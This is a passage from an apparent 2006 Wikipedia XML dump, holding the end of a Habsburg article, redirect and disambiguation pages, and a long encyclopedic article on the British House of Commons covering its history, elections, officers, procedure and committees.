* http://www.ac.wwu.edu/~stephan/Rulers/hapsburg3.html
* [http://www.chh.de.free.fr/archiv/Sonstiges/habsburg.php Genealogical tree of the house of Habsburg (till Maria Theresia)]
*[http://www.literature.at/elib/www/wiki/index.php/The_Hapsburg_Monarchy_%28Henry_Wickham_Steed%29 ''The Hapsburg Monarchy'' (Wickham Steed, 1913)]) eLibrary Austria Project full text (ebook)

[[Category:Habsburg|*]]
[[Category:Royal families]]
[[Category:Austrian nobility]]
[[Category:History of Austria]]
[[Category:German nobility]]

[[br:Habsbourged]]
[[cs:Habsburkové]]
[[da:Habsburg]]
[[de:Habsburg]]
[[et:Habsburgid]]
[[es:Casa de Austria]]
[[eo:Habsburgoj]]
[[fr:Habsbourg]]
[[hr:Habsburg]]
[[it:Asburgo]]
[[he:בית הבסבורג]]
[[lt:Habsburgų dinastija]]
[[hu:Habsburg-család]]
[[nl:Habsburg]]
[[ja:ハプスブルク家]]
[[no:Huset Habsburg]]
[[pl:Habsburgowie]]
[[pt:Casa de Habsburgo]]
[[ro:Habsburg]]
[[ru:Габсбурги]]
[[sl:Habsburžani]]
[[sr:Хабзбуршка династија]]
[[fi:Habsburg-suku]]
[[sv:Habsburg]]
[[tr:Habsburglar]]
[[uk:Габсбурги]]
[[zh:哈布斯堡王朝]]</text>
    </revision>
  </page>
  <page>
    <title>Hong Kong, city</title>
    <id>13825</id>
    <revision>
      <id>15911413</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <comment>content-free orphan, redirect to Hong_Kong</comment>
      <text xml:space="preserve">#REDIRECT [[Hong_Kong]]</text>
    </revision>
  </page>
  <page>
    <title>Hub</title>
    <id>13826</id>
    <revision>
      <id>35787947</id>
      <timestamp>2006-01-19T07:31:38Z</timestamp>
      <contributor>
        <username>Uncle G</username>
        <id>164776</id>
      </contributor>
      <comment>Linked to specific dictionary articles</comment>
      <text xml:space="preserve">{{wiktionarypar|hub}}
'''Hub''' may refer to the following:
* The center of a [[wheel]].
* A [[node (networking)|node]] in a [[computer network|network]].  
* [[Ethernet hub]], a [[computer networking device]] that connects multiple [[Ethernet]] segments together making them act as a single segment.
* [[USB hub]], a device that allows many [[Universal Serial Bus|USB]] devices to be connected to a single USB [[port (computing)|port]].
* A nickname for the city of [[Boston, Massachusetts|Boston]], [[Massachusetts]], frequently used by the [[Boston Globe]] in headlines (from [[Oliver Wendell Holmes, Sr.|Oliver Wendell Holmes]]'s phrase ''Hub of the Solar System'').
* A set of [[level (computer and video games)|levels]] in [[computer game|computer games]] that a player can travel back and forth throughout. 
* A [[transportation hub]] &lt;!-- Translation from :de:Verkehrsknotenpunkt --&gt; is where traffic is exchanged across several [[modes of transport]].
* An [[airline hub]] is an [[airport]] that serves as the base of operations for an [[airline]].
* On an [[aircraft]], a hub is a part around which [[propeller]]s are attached.
* [[Cultural capital]] [[website]] that provides a form of knowledge; skills; education.
* The [[Hetzel Union Building]] on the campus of [[Penn State]]
* A [[hub protein]] interacts with many other proteins in the network describing the interactions of proteins within a cell.
== See also ==
[[Spoke-hub distribution paradigm]]

{{disambig}}

[[de:Hub]]
[[es:Hub]]
[[eo:Nabo]]
[[fr:Hub]]
[[nl:Hub]]
[[ru:Хаб]]</text>
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    <title>Harakiri</title>
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      <timestamp>2006-03-01T16:08:14Z</timestamp>
      <contributor>
        <username>LaurenMcMillan</username>
        <id>474619</id>
      </contributor>
      <comment>Redirect to Seppuku</comment>
      <text xml:space="preserve">#REDIRECT [[Seppuku]]</text>
    </revision>
  </page>
  <page>
    <title>British House of Commons</title>
    <id>13828</id>
    <revision>
      <id>41668145</id>
      <timestamp>2006-02-28T23:17:43Z</timestamp>
      <contributor>
        <ip>69.86.17.202</ip>
      </contributor>
      <comment>/* Members and elections */</comment>
      <text xml:space="preserve">{{PoliticsUK}}
The '''House of Commons''' is the [[lower house]] of the [[Parliament of the United Kingdom]], and is now the dominant branch of Parliament. Parliament also includes the [[British monarchy|Sovereign]] and the [[upper house]], the [[House of Lords]]. The [[House of Commons]] is a democratically elected body, consisting of 646 members, who are known as &quot;[[Member of Parliament|Members of Parliament]]&quot; or &quot;MPs.&quot; Members are elected by the [[first past the post]] system of election for limited terms, holding office until Parliament is dissolved (a maximum of five years). Each member is elected by, and represents, an electoral district known as a [[United Kingdom constituencies|constituency]]. The House of Commons is the source of the vast majority of [[political minister|government ministers]] and every [[Prime Minister of the United Kingdom|Prime Minister]] since [[1902]], with the very brief exception of [[Alec Douglas-Home|Sir Alec Douglas-Home]] in [[1963]]. (He was asked to form a government while the 14th [[Earl of Home]], but within days, he renounced his [[peerage]] and became an MP.)

The House of Commons evolved at some point during the fourteenth century and has been in continuous existence since. The House of Commons (the &quot;Lower House&quot;) was once far less powerful than the House of Lords (the &quot;Upper House&quot;), but is now by far the dominant branch of Parliament. The House of Commons' legislative powers exceed those of the House of Lords; under the [[Parliament Act 1911]], the Upper House's power to reject most bills has been reduced to a mere delaying power. Moreover, the Government of the United Kingdom is answerable to the House of Commons; the Prime Minister stays in office only as long as he or she retains the support of the Lower House. 

The full, formal style and title of the House of Commons is ''The Honourable the Commons of the United Kingdom of Great Britain and Northern Ireland in Parliament assembled.'' The term &quot;Commons&quot; derives from the [[Norman French]] word ''communes'', meaning &quot;localities.&quot; It is often misunderstood that &quot;Commons&quot; comes from the word &quot;commoners&quot;, referring to those sitting in the House, similar to the way in which the name &quot;House of Lords&quot; indicates that those sitting in the Other Place are elevated to the Peerage. This explanation, however, is ahistorical. Both Houses, the Commons and Lords, meet in the [[Palace of Westminster]]. Both Houses have in the past met elsewhere, and retain the right to do so, provided the [[Ceremonial mace|Mace]] is present.
The information resource of the House is the [[House of Commons Library]].

==History==
Parliament developed from the council that advised the King during mediæval times. This royal council, meeting for short-term periods, included ecclesiastics, noblemen, as well as representatives of the [[county|counties]] (known as &quot;[[knights of the shire]]&quot;). The chief duty of the council was to approve taxes proposed by the Crown. In many cases, however, the council demanded the redress of the people's grievances before proceeding to vote on taxation. Thus, it developed legislative powers.

In the &quot;[[Model Parliament]]&quot; of 1295, representatives of the [[borough]]s (including towns and cities) were also admitted. Thus, it became settled practice that each county send two knights of the shire, and that each borough send two burgesses. At first, the representatives of the boroughs were almost entirely powerless; whilst county representation was fixed, the monarch could enfranchise or disfranchise boroughs at pleasure. Any show of independence by burgesses would have led to the exclusion of their towns from Parliament. The knights of the shire were in a better position, though still less powerful than their aristocratic counterparts in the still unicameral Parliament. The division of Parliament into two houses occurred during the reign of [[Edward III of England|Edward III]]: the knights and burgesses formed the House of Commons, whilst the clergy and nobility formed the House of Lords.

Though they remained subordinate to both the Crown and the Lords, the Commons did act with increasing boldness. During the [[Good Parliament]] (1376), the [[Speaker of the British House of Commons|Speaker of the House of Commons]], [[Peter de la Mare|Sir Peter de la Mare]], complained of heavy taxes, demanded an accounting of the royal expenditures, and criticised the King's management of the military. The Commons even proceeded to [[impeachment|impeach]] some of the King's ministers. The bold Speaker was imprisoned, but was soon released after the death of King Edward III. During the reign of the next monarch, [[Richard II of England|Richard II]], the Commons once again began to impeach errant ministers of the Crown. They insisted that they could not only control taxation, but also public expenditures. Despite such gains in authority, however, the Commons still remained much less powerful than the House of Lords and the Crown. 

The influence of the Crown was further increased by the civil wars of the late fifteenth century, which destroyed the power of the great nobles. Both houses of Parliament held little power during the ensuing years, and the absolute supremacy of the Sovereign was restored. The domination of the Crown grew even further during the reigns of the monarchs of the [[Tudor dynasty]] in the sixteenth century. This trend, however, was somewhat reversed when the [[House of Stuart]] came to the English Throne in 1603. The first two Stuart monarchs, [[James I of England|James I]] and [[Charles I of England|Charles I]], provoked conflicts with the Commons over issues such as taxation, religion, and royal powers. 

The bitter differences between Charles I and Parliament were great, and were settled only by the [[English Civil War]]. The King was beheaded, and the monarchy and Upper House abolished, in 1649. Although the Commons were in theory supreme, the nation was truly under the control of a military dictator, [[Oliver Cromwell]]. The monarchy and the House of Lords were, however, both restored in 1660, soon after Cromwell's death. The influence of the Crown had been lessened, and was further diminished when [[James II of England|James II]] was deposed in the course of the [[Glorious Revolution]] (1688). The House of Lords, however, soon returned to its dominant position in Parliament, and would continue to occupy such a position until the nineteenth century.
[[Image:House of Commons Microcosm.jpg|thumb|300px|The House of Commons in the early 19th century.]]
The eighteenth century was notable in that it was marked by the development of the office of Prime Minister. The modern notion that the Government may remain in power only as long as it retains the support of Parliament soon became established. The modern notion that only the support of the House of Commons is necessary, however, was of much later development. Similarly, the custom that the Prime Minister is always a Member of the Lower House, rather than the Upper one, did not evolve immediately.

The House of Commons experienced an important period of reform during the nineteenth century. The Crown had made use of its prerogative of enfranchising and disenfranchising boroughs very irregularly, and several anomalies had developed in borough representation. Many towns that were once important but had become inconsiderable by the nineteenth century retained their ancient right of electing two Members each. The most notorious of these &quot;[[rotten borough]]s&quot; was [[Old Sarum]], which had only eleven voters; at the same time, large cities such as [[Manchester]] received no separate representation, although their eligible residents were able to vote in the corresponding county seat - in the case of Manchester, [[Lancashire]]. Also notable were the [[rotten borough|pocket boroughs]]—small constituencies controlled by wealthy landowners and aristocrats, whose &quot;nominees&quot; were invariably elected by the voters. 
{{main|Unreformed House of Commons}}

===The Reform Acts and Parliament Acts===
The Commons attempted to address these anomalies by passing a Reform Bill in 1831. At first, the House of Lords proved unwilling to pass the bill, but were forced to relent when the Prime Minister, [[Charles Grey, 2nd Earl Grey]], advised King [[William IV of England|William IV]] to flood the House of Lords with several pro-Reform Members. Before the King could take such an action, the Lords passed the bill in 1832. The &quot;[[Reform Act 1832]]&quot; abolished the rotten boroughs, established uniform voting requirements for the boroughs, and granted representation to populous cities, but also retained many pocket boroughs. In the ensuing years, the Commons grew more assertive, the influence of the House of Lords having been damaged by the Reform Bill Crisis, and the power of the patrons of pocket boroughs having been diminished. The Lords became more reluctant to reject bills that the Commons passed with large majorities, and it became an accepted political principle that the support of the House of Commons alone was necessary for a Prime Minister to remain in office. 

Many further reforms were introduced during the latter half of the nineteenth century. The [[Reform Act 1867]] lowered property requirements for voting in the boroughs, reduced the representation of the less populous boroughs, and granted parliamentary seats to several growing industrial towns. The electorate was further expanded by the [[Representation of the People Act 1884]], under which property qualifications in the counties were lowered. The [[Redistribution of Seats Act 1885|Redistribution of Seats Act]] of the following year replaced almost all multi-member constituencies with single-member constituencies. 

[[Image:Houseofcommons1851.jpg|left|thumb|400px|The old Chamber of the House of Commons built by Sir Charles Barry was destroyed by German bombs during the Second World War. The essential features of Barry's design were preserved when the Chamber was rebuilt.]]
The next important phase in the history of the House of Commons came during the early twentieth century. In 1908, the [[Liberal Party (UK)|Liberal]] Government under [[Herbert Henry Asquith]] introduced a number of [[social welfare]] programmes, which, together with an expensive [[arms race]] with [[Germany]], had forced the Government to seek more funding in the form of tax increases. In 1909, the [[Chancellor of the Exchequer]], [[David Lloyd George]], introduced the &quot;People's Budget&quot;, which proposed a new tax targeting wealthy landowners. The unpopular measure, however, failed in the heavily Conservative House of Lords. 

Having made the powers of the House of Lords a primary campaign issue, the Liberals were re-elected in January 1910. Asquith then proposed that the powers of the House of Lords be severely curtailed. Proceedings on the bill were briefly interrupted by the death of [[Edward VII of the United Kingdom|King Edward VII]], but were soon recommenced under the new monarch, [[George V of the United Kingdom|George V]]. After fresh elections in December 1910, the Asquith Government secured the passage of a bill to curtail the powers of the House of Lords. The Prime Minister proposed, and the King agreed, that the House of Lords could be flooded by the creation of five hundred new Liberal peers if it failed to pass the bill. (This was the same device used earlier to force the Upper House to consent to the passage of the Reform Act 1832.) The [[Parliament Act|Parliament Act 1911]] soon came into effect, destroying the legislative equality of the two Houses of Parliament. The House of Lords was only permitted to delay most legislation for a maximum of three parliamentary sessions or two calendar years—reduced to two sessions or one year by the [[Parliament Act 1949]]. Since the passage of these Acts, the House of Commons has remained the dominant branch of Parliament, both in theory and in practice.

Historically MPs were unpaid. Most of the men elected to the Commons had private incomes, while a few relied on financial support from a wealthy patron. Early Labour MPs were often provided with a salary by a trade union, but this was declared illegal by a House of Lords judgement of 1910. Consequently a clause was included in the Parliament Act 1911 introducing salaries for MPs. It should be noted that government ministers had always been paid.

==Members and elections==
[[Image:Fullchamber.jpg|thumb|right|300px|Full Chamber in the British House of Commons. Notice that there are not enough seats for all MPs when the Chamber is full, requiring some to stand. There are 646 MP's, but only 427 seats.  This is because the Commons was deliberately designed not to house all its members, the rationale being that if every member has their own seat then the majority of debates will be held in a chamber that is half empty.  Most debates are fairly empty anyway, but ''all'' MP's (except [[Sinn Fein]] and those on leave of absence) are present for the state opening of parliament.]]

Each Member of Parliament represents a single constituency. Prior to the reforms of the nineteenth century, the constituencies had little basis in population: the counties and the boroughs (whose boundaries were fixed) were, for the most part, equally represented in the Lower House by two Members each. Reforms enacted during the nineteenth century, starting with the [[Reform Act 1832]], led to a more equitable distribution of seats. Moreover, the reforms of 1885 abolished most two-member constituencies; the few that remained were all abolished in 1948. [[University constituency|University constituencies]] (the constituencies that allowed important universities such as [[University of Oxford|Oxford]] and [[University of Cambridge|Cambridge]] to be represented in Parliament) were abolished in the same year. Thus, each constituency now elects only one Member of Parliament. There is still a technical distinction between [[county constituency|county constituencies]] and [[borough constituency|borough constituencies]], but the only effect of this difference involves the amount of money candidates are allowed to spend during campaigns.

The boundaries of the constituencies are determined by four permanent and independent [[Boundary Commission]]s, one each for [[England]], [[Wales]], [[Scotland]], and [[Northern Ireland]]. The number of constituencies assigned to the four parts of the United Kingdom is based roughly on population, but subject to certain statutory regulations. England, Wales, and Scotland must have a total of approximately 613 constituencies, and Northern Ireland must include between sixteen and eighteen constituencies. By law Wales must have at least 35 Members of Parliament. The Commissions conduct general reviews of electoral boundaries once every eight to twelve years, as well as a number of interim reviews. In drawing boundaries, they are required to take into account local government boundaries, but may deviate from this requirement in order to prevent great disparities in the populations of the various constituencies. The proposals of the Boundary Commissions are subject to parliamentary approval, but may not be amended by Parliament. After the next general review of constituencies, the Boundary Commissions will be absorbed into the [[Electoral Commission (UK)|Electoral Commission]], which was established in 2000.Currently the United Kingdom is divided into [[List of Parliamentary constituencies in the United Kingdom|646 constituencies]], with 529 in England, 40 in Wales, 59 in Scotland, and 18 in Northern Ireland. 

[[United Kingdom general elections|General elections]] occur whenever [[Dissolution of parliament|Parliament is dissolved]] by the Sovereign (Monarch). The timing of the dissolution is normally chosen by the Prime Minister (see [[#relationship with the Government|relationship with the Government]] below); however, a parliamentary term may not last for more than five years, unless a Bill extending the life of Parliament passes both Houses and receives Royal Assent. (The date of a [[General Election]] is the choice of the [[Prime Minister]], but traditionally, it happens to be a [[Thursday]].) The House of Lords, exceptionally, retains its power of veto over such a Bill. Each candidate must submit nomination papers signed by ten registered voters from the constituency, and pay a deposit of £500, which is refunded only if the candidate wins at least five per cent of the vote. The deposit seeks to discourage frivolous candidates. Each constituency returns one Member; the [[First Past the Post electoral system|First-Past-the-Post]] electoral system, under which the candidate with a [[plurality]] of votes wins, is used. Minors, members of the House of Lords, prisoners, and insane persons are not qualified to become Members. In order to vote, one must be a resident of the United Kingdom as well as a citizen of the [[United Kingdom]], of a [[British overseas territory]], of the [[Republic of Ireland]], or of a member of the [[Commonwealth of Nations]]. Also, British citizens living abroad are allowed to vote for fifteen years after moving from the United Kingdom. No voter may vote in more than one constituency. 

Once elected, the Member of Parliament normally continues to serve until the next dissolution of Parliament or until death. If a Member, however, ceases to be qualified (see [[#Qualifications|qualifications]] below), his or her seat falls vacant. It is possible for the House of Commons to expel a Member, but this power is only exercised when the Member has engaged in serious misconduct or criminal activity. In each case, a vacancy may be filled by a [[by-election]] in the appropriate constituency. The same electoral system is used as in general elections.

The term &quot;Member of Parliament&quot; is normally used only to refer to Members of the House of Commons, even though the House of Lords is also a part of Parliament. Members of the House of Commons may use the [[post-nominal letters]] &quot;MP.&quot; The annual salary of each Member is £59,095; Members may receive additional salaries in right of other offices they hold (for instance, the Speakership). Most Members also claim between £100,000 and £150,000 for various office expenses (staff costs, postage, travelling, etc) and also for the costs of maintaining a home in London in the case of non-London Members.

==Qualifications==
There are numerous qualifications that apply to Members of Parliament. Most importantly, one must be aged at least twenty-one years (although this is due to change to eighteen), and must be a citizen of the United Kingdom, of a British overseas territory, of the Republic of Ireland, or of a member of the Commonwealth of Nations, in order to be eligible. These restrictions were introduced by the [[British Nationality Act 1981]], but were previously far more stringent: under the [[Act of Settlement 1701]], only natural-born subjects were qualified. Members of the House of Lords may not serve in the House of Commons, or even vote.

A person may not sit in the House of Commons if he or she is the subject of a Bankruptcy Restrictions Order (applicable in England and Wales only), or if he or she is adjudged bankrupt (in Northern Ireland), or if his or her estate is sequestered (in Scotland). Also, lunatics are ineligible to sit in the House of Commons. Under the [[Mental Health Act 1959]], two specialists must report to the Speaker that a Member is suffering from mental illness before a seat can be declared vacant. There also exists a [[common law]] precedent from the eighteenth century that the &quot;deaf and dumb&quot; are ineligible to sit in the Lower House. This precedent, however, has not been tested in recent years, and is highly unlikely to be upheld by the courts - the deaf or mute are nomally quite capable of being MP's - to refuse this would be in breach of the [[Human Rights Act]], and [[Jack Ashley, Baron Ashley of Stoke|Jack Ashley]] continued to serve very ably as an MP for 25 years after becoming profoundly deaf.

Anyone found guilty of [[high treason]] may not sit in Parliament until he or she has either completed the term of imprisonment, or received a full pardon from the Crown. Moreover, anyone serving a prison sentence of one year or more is ineligible. Finally, the [[Representation of the People Act 1983]] disqualifies those found guilty of certain election-related offences for ten years. Several other disqualifications are established by the [[House of Commons Disqualification Act 1975]]. Holders of high judicial offices, [[civil servant]]s, members of the regular [[armed forces]], members of foreign legislatures (excluding members of the legislatures of the Republic of Ireland and Commonwealth countries), and holders of several Crown offices listed in the Act are all disqualified. The provisions of the House of Commons Disqualification Act 1975 largely consolidate the clauses of several previous enactments; in particular, several Crown officers had already been disqualified since the passage of the Act of Settlement 1707. Ministers, even though they are paid officers of the Crown, are not disqualified.

The rule that precludes certain Crown officers from serving in the House of Commons is used to circumvent a resolution adopted by the House of Commons in 1623, under which Members are not permitted to resign their seats (in theory).  In practice, however, they always can: Should a Member seek to leave, he or she may request appointment to one of two ceremonial Crown offices: that of Crown Steward and Bailiff of the Chiltern Hundreds, or that of Crown Steward and Bailiff of the Manor of Northstead. These offices are [[sinecure]]s (that is, they involve no actual duties); they exist solely in order to permit the &quot;resignation&quot; of Members of the House of Commons. The [[Chancellor of the Exchequer]] is responsible for making the appointment, and, by convention, never refuses to do so when asked by a Member who desires to leave the House of Commons.
{{see|Resignation from the British House of Commons}}

==Officers==
[[Image:British House of Commons 1834.jpg|thumb|right|300px|The Speaker presides over debates in the House of Commons, as depicted in the above print commemorating the destruction of the Commons Chamber by fire in 1834.]]
The House of Commons elects a presiding officer, known as the Speaker, at the beginning of each new parliamentary term, and also whenever a vacancy arises. If the incumbent Speaker seeks a new term, the House may re-elect him or her merely by passing a motion; otherwise, a secret ballot is held. A Speaker-elect cannot take office until he or she has been approved by the Sovereign; the granting of the royal approbation, however, is a mere formality. The Speaker is assisted by three Deputy Speakers, the most senior of which holds the title of Chairman of Ways and Means. The two other Deputy Speakers are known as the First and Second Deputy Chairman of Ways and Means. These titles derive from the Committee of Ways and Means, a body over which the Chairman once used to preside; even though the Committee was abolished in 1967, the traditional titles of the Deputy Speakers are still retained. The Speaker and the Deputy Speakers are always Members of the House of Commons.

Whilst presiding, the Speaker or Deputy Speaker wears a ceremonial black robe. The presiding officer may also wear a wig, but this tradition has been abandoned by the present Speaker, [[Michael Martin (politician)|Michael Martin]], and by his predecessor, [[Betty Boothroyd]]. The Speaker or Deputy Speaker presides from a chair at the front of the House. The Speaker is Chairman of the [[House of Commons Commisssion]], which oversees the running of the House, and controls debates by calling on Members to speak. If a Member believes that a rule (or Standing Order) has been breached, he or she may raise a &quot;point of order,&quot; on which the Speaker makes a ruling that is not subject to any appeal. The Speaker may discipline Members who fail to observe the rules of the House. Thus, the Speaker is far more powerful than his Lords counterpart, the [[Lord Chancellor]], who has no disciplinary powers at all. Customarily, the Speaker and the Deputy Speakers are non-partisan; they do not vote, or participate in the affairs of any political party. By convention, a Speaker seeking re-election is not opposed in his or her constituency by any of the major parties. The lack of partisanship continues even after the Speaker leaves the House of Commons.

The [[Clerk of the House of Commons|Clerk of the House]] is both the House's chief adviser on matters of procedure and Chief Executive of the House of Commons.  He is a permanent official, not a Member of the House itself. The Clerk advises the Speaker on the rules and procedure of the House, signs orders and official communications, and signs and endorses bills.  He chairs the Board of Management, which consists of the heads of the six departments of the House. The Clerk's deputy is known as the Clerk Assistant. Another officer of the House is the [[Serjeant-at-Arms]], whose duties include the maintenance of law, order, and security on the House's premises. The Serjeant-at-Arms carries the ceremonial [[ceremonial mace|Mace]], a symbol of the authority of the Crown and of the House of Commons, into the House each day in front of the Speaker. The Mace is laid upon the Table of the House of Commons during sittings.

==Procedure==
[[Image:UK House of Commons Chamber.jpg|thumb|right|300px|Benches in the House of Commons Chamber are coloured green. In contrast, the [[House of Lords]] is decorated in red.]]
Like the House of Lords, the House of Commons meets in the Palace of Westminster in London. The Commons Chamber is small and modestly decorated in green, in contrast with the large, lavishly furnished red Lords Chamber. There are benches on two sides of the Chamber, divided by a centre aisle. This arrangement reflects the design of [[St Stephen's Chapel]], which served as the home of the House of Commons until destroyed by fire in 1834. The Speaker's chair is at one end of the Chamber; in front of it is the Table of the House, on which the Mace rests. The Clerks sit at one end of the Table, close to the Speaker so that they may advise him or her on procedure when necessary. Members of the Government sit on the benches on the Speaker's right, whilst members of the Opposition occupy the benches on the Speaker's left. 

In front of each set of benches, a red line is drawn on the carpet. The red lines in front of the two sets of benches are two-sword lengths apart; a Member is traditionally not allowed to cross the line during debates, for he or she is then supposed to be able to attack an individual on the opposite side. Government ministers and important Opposition leaders sit on the front rows, and are known as &quot;frontbenchers.&quot; Other Members of Parliament, in contrast, are known as &quot;backbenchers.&quot; Oddly, all Members of Parliament cannot fit in the Chamber, which can only seat 427 of the 646 Members. Members who arrive late must stand near the entrance of the House if they wish to listen to debates. Sittings in the Chamber are held each day from Monday to Thursday, and also on some Fridays. During times of national emergency, the House may also sit on Saturdays. 

Due to recent reforms, the House of Commons sometimes meets in another chamber in the Palace of Westminster, known as Westminster Hall. Debates in Westminster Hall are generally uncontroversial or non-partisan; business which leads to actual votes must still be conducted in the main Chamber. Westminster Hall sittings take place each Tuesday, Wednesday, and Thursday. On Wednesdays the sitting is suspended for a lunch break. Sittings are also suspended whenever there is a division taking place in the House itself.

Sittings of the House are open to the public, but the House may at any time vote to sit in private, by the vote of a simple majority. (However, this has only been done twice since 1950.)  Traditionally, a Member who desired that the House sit privately could shout &quot;I spy strangers,&quot; and a vote would automatically follow. In the past, this was to clear the public gallery in case someone would tell the Monarch what was happening - about an issue the House wanted to keep private. More often, however, this device was used to delay and disrupt debates; it was abolished in 1998. Now, Members seeking that the House sit in private must make a formal motion to that effect. Public debates are broadcast on the [[radio]], and on [[television]] by [[BBC Parliament]], and are recorded in [[Hansard]]. 

Sessions of the House of Commons have often been disrupted by angry protesters who hurl objects into the Chamber from the [[Strangers Gallery]] and other galleries. Items which have been thrown into the House include leaflets, manure, flour (see [[Fathers 4 Justice House of Commons protest#House of Commons protest|Fathers 4 Justice House of Commons protest]]), and a canister of [[CS gas|chlorobenzylidene malonitrile]]. Even members have been known to disturb proceedings of the House; for instance, in 1976, Conservative MP [[Michael Heseltine]] seized and brandished the Mace of the House during a heated debate. Perhaps the most famous disruption of the House of Commons was caused by King [[Charles I of England|Charles I]], who entered the Commons Chamber in 1642 with an armed force in order to arrest five Members of Parliament who belonged to an anti-royalist faction. This action, however, was deemed a grave breach of the privilege of Parliament: according to the Constitution, the current Monarch may only ever enter the House once a year -  at the [[State Opening of Parliament]].  Above is the only time this was ever broken.

By a custom which has been strictly maintained since 1642, no monarch has sought to set foot in the Commons Chamber. Another tradition that arose from Charles I's actions involves the [[State Opening of Parliament]], an annual ceremony in the Lords Chamber during which the Sovereign, in the presence of Members of both Houses, delivers an address on the Government's legislative agenda. The [[Black Rod|Gentleman Usher of the Black Rod]] (a Lords official) is responsible for summoning the Commons to the Lords Chamber; when he arrives to deliver his summons, the doors of the Commons Chamber are slammed shut in his face, symbolising the right of the Lower House to debate without interference. The Gentleman Usher knocks on the door thrice with his Black Rod, and only then is he granted admittance. He then, politely, informs the MP's that the Monarch awaits them.  Then they all go to the House of Lords for the [[Queen's Speech]].

During debates, Members may only speak if called upon by the Speaker (or the Deputy Speaker, if the Speaker is not presiding). Traditionally, the presiding officer alternates between calling Members from the Government and Opposition. The Prime Minister, the Leader of the Opposition, and other leaders from both sides are normally given priority when more than one Member rises to speak at the same time. Formerly, all [[Privy Council of the United Kingdom|Privy Counsellors]] were granted priority; however, the modernisation of Commons procedure led to the abolition of this tradition in 1998. 

Speeches are addressed to the presiding officer, using the words &quot;Mr Speaker,&quot; &quot;Madam Speaker,&quot; &quot;Mr Deputy Speaker,&quot; or &quot;Madam Deputy Speaker.&quot; Only the presiding officer may be directly addressed in speeches; other Members must be referred to in the third person. Traditionally, Members do not refer to each other by name, but by constituency, using forms such as &quot;the Honourable Member for [constituency],&quot; or, in the case of Privy Counsellors, &quot;the Right Honourable Member for [constituency].&quot; The Speaker enforces the rules of the House, and may warn and punish Members who deviate from them. Disregarding the Speaker's instructions is considered a severe breach of the rules of the House, and may result in the suspension of the offender from the House. In the case of grave disorder, the Speaker may adjourn the House without taking a vote.

The Standing Orders of the House of Commons do not establish any formal time limits for debates. The Speaker may, however, order a Member who persists in making a tediously repetitive or irrelevant speech to stop speaking. The time set aside for debate on a particular motion is, however, often limited by informal agreements between the parties. Debate may, however, be restricted by the passage of &quot;Allocation of Time Motions&quot;, which are more commonly known as &quot;[[Guillotine Motion]]s&quot;. Alternatively, the House may put an immediate end to debate by passing a motion to invoke the [[Cloture|Closure]]. The Speaker is allowed to deny the motion if he or she believes that it infringes upon the rights of the minority.

When the debate concludes, or when the Closure is invoked, the motion in question is put to a vote. The House first votes by voice vote; the Speaker or Deputy Speaker puts the question, and Members respond either &quot;Aye&quot; (in favour of the motion) or &quot;No&quot; (against the motion). The presiding officer then announces the result of the voice vote, but if his or her assessment is challenged by any Member, a recorded vote known as a [[division (vote)|division]] follows. (The presiding officer, if he or she believes that the result of the voice vote is so clear that a division is not necessary, may reject the challenge.) If a division does occur, Members enter one of two lobbies (the &quot;Aye&quot; lobby or the &quot;No&quot; lobby) on either side of the Chamber, where their names are recorded by clerks. At each lobby are two Tellers (themselves Members of the House) who count the votes of the Members. 

Once the division concludes, the Tellers provide the results to the presiding officer, who then announces them to the House. If there is an equality of votes, the Speaker or Deputy Speaker has a [[casting vote]]. The quorum of the House of Commons is forty members for any vote; if fewer than forty members have participated, the division is invalid. Formerly, if a Member sought to raise a point of order during a division, he was required to wear a hat, thereby signalling that he was not engaging in debate. Collapsible top hats were kept in the Chamber just for this purpose. This custom was discontinued in 1998.

The outcome of most votes is largely known beforehand, since political parties normally instruct members on how to vote. A party normally entrusts some Members of Parliament, known as [[whip (politics)|whips]], with the task of ensuring that all party Members vote as desired. Members of Parliament do not tend to vote against such instructions, since those who do so are unlikely to reach higher political ranks in their parties. Errant Members may be deselected as official party candidates during future elections, and, in serious cases, may be expelled from their parties outright. Thus, the independence of Members of Parliament tends to be extremely low, and &quot;backbench rebellions&quot; by Members discontent with their party's policies are rare. In some circumstances, however, parties announce &quot;[[free vote]]s&quot;, allowing Members to vote as they please. Votes relating to issues of conscience such as [[abortion]] and [[capital punishment]] are typically free votes.

==Committees==
The Parliament of the United Kingdom uses committees for a variety of purposes; one common use is for the review of [[Acts of Parliament|bills]]. Committees consider bills in detail, and may make amendments. Bills of great constitutional importance, as well as some important financial measures, are usually sent to the Committee of the Whole House, a body that, as its name suggests, includes all members of the House of Commons. Instead of the Speaker, the Chairman or a Deputy Chairman of Ways and Means presides. The Committee meets in the House of Commons Chamber. 

Most bills are considered by Standing Committees, which consist of between sixteen and fifty members each. The membership of each Standing Committee roughly reflects the standing of the parties in the whole House. Though &quot;standing&quot; may imply permanence, the membership of Standing Committees changes constantly; new Members are assigned each time the Committee considers a new bill. There is no formal limit on the number of Standing Committees, but there are usually only ten. Rarely, a bill may be committed to a Special Standing Committee, which operates much like a Standing Committee, but also investigates and holds hearings on the issues raised by the bill.

The House of Commons also has several Departmental Select Committees. The membership of these bodies, like that of the Standing Committees, reflects the strength of the parties in the House of Commons. Each committee elects its own Chairman. The primary function of a Departmental Select Committee is to scrutinise and investigate the activities of a particular Government Department; to fulfil these aims, it is permitted to hold hearings and collect evidence. Bills may be referred to Departmental Select Committees, but such a procedure is very seldom used. 

A separate type of Select Committee is the Domestic Committee. Domestic Committees oversee the administration of the House and the services provided to Members. Other committees of the House of Commons include Joint Committees (which also include members of the House of Lords), the [[Committee on Standards and Privileges]] (which considers questions of [[parliamentary privilege]], as well as matters relating to the conduct of the Members), and the Committee of Selection (which determines the membership of other committees).

==Legislative functions==
Although legislation may be introduced in either House, bills normally originate in the House of Commons.

The supremacy of the Commons in legislative matters is assured by the Parliament Acts, under which certain types of bills may be presented for the [[Royal Assent]] without the consent of the House of Lords. The Lords may not delay a money bill (a bill that, in the view of the Speaker of the House of Commons, solely concerns national taxation or public funds) for more than one month. Moreover, the Lords may not delay most other public bills for more than two parliamentary sessions, or one calendar year. These provisions, however, only apply to public bills that originate in the House of Commons. Moreover, a bill that seeks to extend a parliamentary term beyond five years requires the consent of the House of Lords.

